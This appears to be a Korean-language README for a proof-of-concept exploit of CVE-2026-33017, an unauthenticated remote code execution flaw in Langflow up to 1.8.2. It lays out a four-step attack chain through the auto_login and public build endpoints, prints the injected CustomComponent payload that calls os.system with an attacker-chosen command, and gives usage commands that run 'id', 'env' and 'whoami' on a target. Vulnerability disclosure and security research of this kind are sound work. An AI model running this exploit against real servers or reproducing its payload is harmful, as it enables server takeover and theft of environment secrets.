
CVE-2026-33017에 대한 개념 증명으로, 취약한 Langflow 버전에서 악성 CustomComponent 코드 주입을 통한 인증되지 않은 원격 코드 실행을 시연합니다.
CVE ID: CVE-2026-33017
영향받는 소프트웨어: Langflow
취약한 버전: <= 1.8.2
수정된 버전: >= 1.9.0
심각도: 치명적
작성자: arensballiu
날짜: 2026
Langflow는 공개 flow 빌드 엔드포인트(/api/v1/build_public_tmp/{flowID}/flow)를 노출하며, 이 엔드포인트는
임의의 CustomComponent 코드 블록을 받아들여 인증 없이 서버 측에서 실행합니다. CustomComponent 노드의
code 필드에 악성 Python 페이로드를 주입함으로써, 인증되지 않은 공격자는 Langflow 서버 프로세스의 권한으로
임의의 운영 체제 명령을 실행할 수 있습니다.
공격 체인은 먼저 /api/v1/auto_login 엔드포인트를 악용하는데, 이 엔드포인트는 Langflow가 기본 자동 로그인
구성으로 실행 중일 때 자격 증명을 요구하지 않고 베어러 토큰을 발급합니다. 그런 다음 이 토큰을 사용하여
임시 공개 flow를 생성하고 빌드 엔드포인트를 통해 서버 측 코드 실행을 트리거합니다.
langflow가 설치되어 실행 중인 docker 인스턴스를 생성하는 docker 파일이 포함되어 있습니다.
| 엔드포인트 | 메서드 | 인증 필요 | 용도 |
|---|---|---|---|
/api/v1/auto_login | GET | 아니오 | 베어러 토큰 획득 (자동 로그인이 활성화되어 있어야 함) |
/api/v1/flows/ | POST | 예 (Bearer) | 새 flow 생성 |
/api/v1/build_public_tmp/{flowID}/flow | POST | 아니오 (공개) | 빌드 트리거 - 취약한 실행 지점 |
/api/v1/flows/{flowID} | DELETE | 예 (Bearer) | 생성된 flow 정리 |
파일: CVE-2026-33017_POC.py
requests 라이브러리pip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| 플래그 | 긴 형식 | 필수 | 설명 |
|---|---|---|---|
-u | --url | 예 | Langflow 인스턴스의 기본 URL |
-c | --command | 예 | 서버에서 실행할 OS 명령 |
-d | --delete | 아니요 | 익스플로잇 후 생성된 플로우 삭제 |
코드 실행 확인:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
서버 환경 변수 검색:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
익스플로잇 후에도 흐름을 유지하세요(정리 건너뛰기):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
이 익스플로잇은 CustomComponent 노드의 code 필드에 다음 Python 스니펫을 주입합니다:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - os 모듈을 동적으로 임포트하고 공격자가 제공한 셸 명령을 서버에서 실행합니다.CustomComponent입니다.PUBLIC으로 생성되며 빌드 엔드포인트는 공개 엔드포인트에서 호출되므로, 실행을 트리거하는 데 세션 쿠키나 인증 토큰이 필요하지 않습니다.Langflow의 CustomComponent 시스템은 임의의 Python 코드를 플로우 정의의 일부로 제출할 수 있도록 허용합니다. /api/v1/build_public_tmp/{flowID}/flow 엔드포인트는 이 코드를 서버 측에서 빌드하고 부분적으로 평가하며, 여기에는 __import__와 같은 Python 내장 기능에 대한 접근을 샌드박싱하거나 제한하지 않고 모듈 수준 문이 포함됩니다.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
네 단계 모두 익명의 공격자가 기본 Langflow 배포 환경을 대상으로 수행할 수 있습니다.
LANGFLOW_AUTO_LOGIN=false).이 개념 증명은 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템에 이 스크립트를 사용하는 것은 불법이며 비윤리적입니다. 저자와 기여자는 오용에 대해 어떠한 책임도 지지 않습니다.